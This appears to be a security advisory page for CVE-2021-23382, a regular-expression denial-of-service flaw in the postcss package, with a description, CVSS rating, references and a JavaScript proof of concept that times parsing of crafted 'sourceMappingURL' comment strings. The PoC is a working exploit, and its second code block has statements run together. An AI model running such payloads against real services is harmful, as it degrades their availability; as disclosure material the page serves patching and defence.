🛡️ CVE-2021-23382 — postcss
Description
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
```regex
\/\*\s* sourceMappingURL=(.*)
```
PoC
```js
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
```
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.
Weakness class
CVE-2021-23382 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.
Affected software
CVE-2021-23382 is recorded against 1 package.
- postcss
Timeline and source
Published on 7 January 2022 and last revised on 14 January 2025. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
snyk.io (Web)
snyk.io (Web)
CVE-2021-23382 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| postcss | — | — |
References
Similar Threats
- Unknown CLSA-2026-1774830263
- Unknown CLSA-2026-1776299672
- Unknown CLSA-2026-1777509599
- Unknown CLSA-2026-1779065184
- Unknown CLSA-2026-1779065188
More CVE 2021 advisories
Browse all of CVE 2021 in the advisory index.
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